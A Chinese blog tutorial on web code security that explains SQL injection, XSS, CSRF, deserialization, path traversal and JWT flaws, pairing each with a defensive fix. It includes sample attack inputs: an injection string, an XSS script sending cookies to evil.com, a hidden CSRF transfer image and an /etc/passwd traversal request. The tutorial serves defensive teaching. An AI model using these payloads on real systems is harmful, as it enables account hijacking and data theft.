Web代码安全：常见漏洞与防御实践-代码聚汇网

Web代码安全：常见漏洞与防御实践

焦秀文·2026-08-21·阅读 23 GEO检测（免费）

Web安全SQL注入XSS攻击

|难度：普通|阅读约 10 分钟

1. 为什么我们需要关注Web代码安全？

十年前，我接手过一个电商网站项目。上线第三天，黑客通过一个简单的SQL注入漏洞，把整个用户数据库拖走了。那天凌晨三点，我被老板的电话惊醒，从此对Web代码安全问题产生了深深的敬畏。

Web应用安全就像房子的门窗——99%的入室盗窃都通过未上锁的门窗发生。OWASP统计显示，75%的网络攻击发生在应用层，而非基础设施层。这意味着，我们写的每一行代码都可能成为黑客的突破口。

需要模型API调用？免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。

2. 最常见的Web代码安全漏洞剖析

2.1 SQL注入：数据库的"万能钥匙"

2019年某社交平台数据泄露事件，就是典型的SQL注入案例。攻击者利用用户搜索框，输入：

sql复制' OR 1=1 --

当后端代码直接拼接SQL时：

php复制$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";

实际执行的SQL变成：

sql复制SELECT * FROM users WHERE username = '' OR 1=1 --'

防御方案：永远使用参数化查询。在PHP中用PDO：
php复制$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :name');
$stmt->execute(['name' => $username]);

2.2 XSS攻击：前端代码的"寄生虫"

某知名博客平台曾因存储型XSS漏洞，导致所有访问者浏览器自动下载恶意软件。攻击者在评论区插入：

html复制<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

解决方案：输出编码 + CSP策略

html复制Content-Security-Policy: default-src 'self'

在Node.js中：

javascript复制const escaped = userInput.replace(/</g, '&lt;').replace(/>/g, '&gt;')

2.3 CSRF：借刀杀人的请求伪造

某银行转账接口曾因缺少CSRF防护，导致用户点击恶意链接后资金被盗。攻击者构造的页面包含：

html复制<img src="https://bank.com/transfer?to=hacker&amount=10000" width="0" height="0">

防护措施：同步令牌 + SameSite Cookie

java复制// Spring Security配置
http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());

3. 容易被忽视的次级漏洞

3.1 不安全的反序列化

某Java应用曾因Apache Commons Collections反序列化漏洞被攻陷。攻击者发送精心构造的序列化数据：

java复制ObjectInputStream ois = new ObjectInputStream(inputStream); // 危险！
ois.readObject();

安全实践：使用JSON等安全格式，或白名单校验：

java复制ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.safe.*");
ObjectInputFilter.Config.setSerialFilter(filter);

3.2 目录遍历攻击

某CMS系统因未过滤../导致配置文件泄露：

http复制GET /download?file=../../etc/passwd HTTP/1.1

修复方案：路径规范化 + 白名单

python复制basename = os.path.basename(user_input)
if not basename.endswith(('.jpg', '.png')):
    raise ValueError("Invalid file type")

4. 安全开发全流程实践

4.1 编码阶段防护

使用ESLint插件扫描XSS风险：

bash复制npm install eslint-plugin-security --save-dev

Git预提交钩子检测敏感信息：

bash复制# .git/hooks/pre-commit
if grep -r --include="*.js" "password" .; then
  echo "Commit rejected: sensitive data detected"
  exit 1
fi

4.2 测试阶段验证

OWASP ZAP基础扫描命令：

bash复制docker run -v $(pwd):/zap/wrk/:rw -t owasp/zap2docker zap-baseline.py \
  -t https://your-site.com -r report.html

4.3 部署阶段加固

Nginx安全头配置示例：

nginx复制add_header X-Frame-Options "DENY";
add_header X-Content-Type-Options "nosniff";
add_header Referrer-Policy "strict-origin";

5. 实战中的经验教训

去年审计某金融系统时，发现其JWT实现存在严重缺陷：

javascript复制// 错误示范：未验证签名
const payload = jwt.decode(token);

正确做法应验证签名和有效期：

javascript复制jwt.verify(token, secret, { algorithms: ['HS256'] }, (err, decoded) => {
  if (err) throw new Error('Invalid token');
});

另一个常见误区是密码哈希：

python复制# 危险：使用快速哈希
hashlib.md5(password.encode()).hexdigest()

# 安全：使用bcrypt
bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))

6. 持续学习资源推荐

必读书籍：《白帽子讲Web安全》第二版（对比第一版新增云安全章节）
靶场练习：PortSwigger的Web Security Academy
漏洞数据库：CVE Details（重点关注CVSS评分≥7.0的Web漏洞）
工具集合：OWASP Cheat Sheet Series

某次渗透测试中，我们发现即使是最新的Spring框架，错误配置也会导致安全问题：

java复制// 错误：关闭CSRF保护
http.csrf().disable();

正确的做法是至少为敏感操作保留防护：

java复制http.csrf().ignoringAntMatchers("/api/public/**");